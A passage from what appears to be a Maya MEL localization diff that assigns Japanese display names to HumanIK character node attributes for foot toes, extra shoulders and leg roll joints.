"HIKCharacterNode", "RightInFootIndexSy", "右足内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexSz", "右足内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRotateOrder", "右足内側の人差指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRotateAxis", "右足内側の人差指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRotateAxisx", "右足内側の人差指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRotateAxisy", "右足内側の人差指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexRotateAxisz", "右足内側の人差指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexJointOrient", "右足内側の人差指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexJointOrientx", "右足内側の人差指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexJointOrienty", "右足内側の人差指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexJointOrientz", "右足内側の人差指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimit", "右足内側の人差指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimitx", "右足内側の人差指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimity", "右足内側の人差指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimitz", "右足内側の人差指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimit", "右足内側の人差指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimitx", "右足内側の人差指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimity", "右足内側の人差指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimitz", "右足内側の人差指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimitEnablex", "右足内側の人差指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimitEnabley", "右足内側の人差指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMinRLimitEnablez", "右足内側の人差指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimitEnablex", "右足内側の人差指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimitEnabley", "右足内側の人差指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootIndexMaxRLimitEnablez", "右足内側の人差指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddle", "右足内側の中指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleT", "右足内側の中指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleTx", "右足内側の中指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleTy", "右足内側の中指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleTz", "右足内側の中指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleR", "右足内側の中指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRx", "右足内側の中指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRy", "右足内側の中指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRz", "右足内側の中指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleS", "右足内側の中指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleSx", "右足内側の中指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleSy", "右足内側の中指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleSz", "右足内側の中指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRotateOrder", "右足内側の中指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRotateAxis", "右足内側の中指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRotateAxisx", "右足内側の中指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRotateAxisy", "右足内側の中指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleRotateAxisz", "右足内側の中指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleJointOrient", "右足内側の中指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleJointOrientx", "右足内側の中指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleJointOrienty", "右足内側の中指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleJointOrientz", "右足内側の中指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimit", "右足内側の中指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimitx", "右足内側の中指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimity", "右足内側の中指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimitz", "右足内側の中指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimit", "右足内側の中指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimitx", "右足内側の中指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimity", "右足内側の中指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimitz", "右足内側の中指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimitEnablex", "右足内側の中指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimitEnabley", "右足内側の中指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMinRLimitEnablez", "右足内側の中指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimitEnablex", "右足内側の中指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimitEnabley", "右足内側の中指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootMiddleMaxRLimitEnablez", "右足内側の中指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRing", "右足内側の薬指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingT", "右足内側の薬指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingTx", "右足内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingTy", "右足内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingTz", "右足内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingR", "右足内側の薬指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRx", "右足内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRy", "右足内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRz", "右足内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingS", "右足内側の薬指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingSx", "右足内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingSy", "右足内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingSz", "右足内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRotateOrder", "右足内側の薬指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRotateAxis", "右足内側の薬指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRotateAxisx", "右足内側の薬指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRotateAxisy", "右足内側の薬指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingRotateAxisz", "右足内側の薬指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingJointOrient", "右足内側の薬指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingJointOrientx", "右足内側の薬指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingJointOrienty", "右足内側の薬指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingJointOrientz", "右足内側の薬指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimit", "右足内側の薬指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimitx", "右足内側の薬指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimity", "右足内側の薬指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimitz", "右足内側の薬指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimit", "右足内側の薬指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimitx", "右足内側の薬指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimity", "右足内側の薬指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimitz", "右足内側の薬指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimitEnablex", "右足内側の薬指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimitEnabley", "右足内側の薬指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMinRLimitEnablez", "右足内側の薬指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimitEnablex", "右足内側の薬指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimitEnabley", "右足内側の薬指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootRingMaxRLimitEnablez", "右足内側の薬指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinky", "右足内側の小指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyT", "右足内側の小指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyTx", "右足内側の小指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyTy", "右足内側の小指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyTz", "右足内側の小指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyR", "右足内側の小指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRx", "右足内側の小指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRy", "右足内側の小指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRz", "右足内側の小指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyS", "右足内側の小指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkySx", "右足内側の小指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkySy", "右足内側の小指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkySz", "右足内側の小指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRotateOrder", "右足内側の小指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRotateAxis", "右足内側の小指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRotateAxisx", "右足内側の小指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRotateAxisy", "右足内側の小指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyRotateAxisz", "右足内側の小指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyJointOrient", "右足内側の小指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyJointOrientx", "右足内側の小指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyJointOrienty", "右足内側の小指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyJointOrientz", "右足内側の小指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimit", "右足内側の小指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimitx", "右足内側の小指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimity", "右足内側の小指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimitz", "右足内側の小指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimit", "右足内側の小指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimitx", "右足内側の小指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimity", "右足内側の小指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimitz", "右足内側の小指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimitEnablex", "右足内側の小指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimitEnabley", "右足内側の小指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMinRLimitEnablez", "右足内側の小指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimitEnablex", "右足内側の小指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimitEnabley", "右足内側の小指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootPinkyMaxRLimitEnablez", "右足内側の小指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFinger", "右足内側の追加指" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerT", "右足内側の追加指 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerTx", "右足内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerTy", "右足内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerTz", "右足内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerR", "右足内側の追加指 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRx", "右足内側の追加指 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRy", "右足内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRz", "右足内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerS", "右足内側の追加指 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerSx", "右足内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerSy", "右足内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerSz", "右足内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRotateOrder", "右足内側の追加指の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRotateAxis", "右足内側の追加指の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRotateAxisx", "右足内側の追加指の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRotateAxisy", "右足内側の追加指の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRotateAxisz", "右足内側の追加指の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerJointOrient", "右足内側の追加指のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerJointOrientx", "右足内側の追加指のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerJointOrienty", "右足内側の追加指のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerJointOrientz", "右足内側の追加指のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimit", "右足内側の追加指の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimitx", "右足内側の追加指の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimity", "右足内側の追加指の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimitz", "右足内側の追加指の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimit", "右足内側の追加指の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimitx", "右足内側の追加指の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimity", "右足内側の追加指の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimitz", "右足内側の追加指の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimitEnablex", "右足内側の追加指の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimitEnabley", "右足内側の追加指の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimitEnablez", "右足内側の追加指の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimitEnablex", "右足内側の追加指の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimitEnabley", "右足内側の追加指の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimitEnablez", "右足内側の追加指の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtra", "追加の左肩" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraT", "追加の左肩 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraTx", "追加の左肩 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraTy", "追加の左肩 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraTz", "追加の左肩 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraR", "追加の左肩 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRx", "追加の左肩 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRy", "追加の左肩 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRz", "追加の左肩 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraS", "追加の左肩 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraSx", "追加の左肩 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraSy", "追加の左肩 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraSz", "追加の左肩 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", "追加の左肩の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRotateAxis", "追加の左肩の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRotateAxisx", "追加の左肩の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRotateAxisy", "追加の左肩の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRotateAxisz", "追加の左肩の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraJointOrient", "追加の左肩のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraJointOrientx", "追加の左肩のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraJointOrienty", "追加の左肩のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraJointOrientz", "追加の左肩のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimit", "追加の左肩の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimitx", "追加の左肩の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimity", "追加の左肩の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimitz", "追加の左肩の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimit", "追加の左肩の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimitx", "追加の左肩の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimity", "追加の左肩の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimitz", "追加の左肩の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimitEnablex", "追加の左肩の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimitEnabley", "追加の左肩の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimitEnablez", "追加の左肩の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimitEnablex", "追加の左肩の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimitEnabley", "追加の左肩の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimitEnablez", "追加の左肩の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtra", "追加の右肩" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraT", "追加の右肩 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraTx", "追加の右肩 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraTy", "追加の右肩 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraTz", "追加の右肩 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraR", "追加の右肩 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRx", "追加の右肩 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRy", "追加の右肩 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRz", "追加の右肩 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraS", "追加の右肩 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraSx", "追加の右肩 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraSy", "追加の右肩 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraSz", "追加の右肩 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", "追加の右肩の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRotateAxis", "追加の右肩の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRotateAxisx", "追加の右肩の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRotateAxisy", "追加の右肩の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRotateAxisz", "追加の右肩の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraJointOrient", "追加の右肩のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraJointOrientx", "追加の右肩のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraJointOrienty", "追加の右肩のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraJointOrientz", "追加の右肩のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimit", "追加の右肩の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimitx", "追加の右肩の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimity", "追加の右肩の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimitz", "追加の右肩の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimit", "追加の右肩の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimitx", "追加の右肩の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimity", "追加の右肩の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimitz", "追加の右肩の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimitEnablex", "追加の右肩の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimitEnabley", "追加の右肩の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimitEnablez", "追加の右肩の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimitEnablex", "追加の右肩の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimitEnabley", "追加の右肩の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimitEnablez", "追加の右肩の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1", "左大腿部ロール 1 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1T", "左大腿部ロール 1 T 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Tx", "左大腿部ロール 1 Tx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Ty", "左大腿部ロール 1 Ty 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Tz", "左大腿部ロール 1 Tz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1R", "左大腿部ロール 1 R 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Rx", "左大腿部ロール 1 Rx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Ry", "左大腿部ロール 1 Ry 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Rz", "左大腿部ロール 1 Rz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1S", "左大腿部ロール 1 S 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Sx", "左大腿部ロール 1 Sx 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Sy", "左大腿部ロール 1 Sy 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Sz", "左大腿部ロール 1 Sz 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", "左大腿部ロール 1 の回転順序 可動部" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateAxis", "左大腿部ロール 1 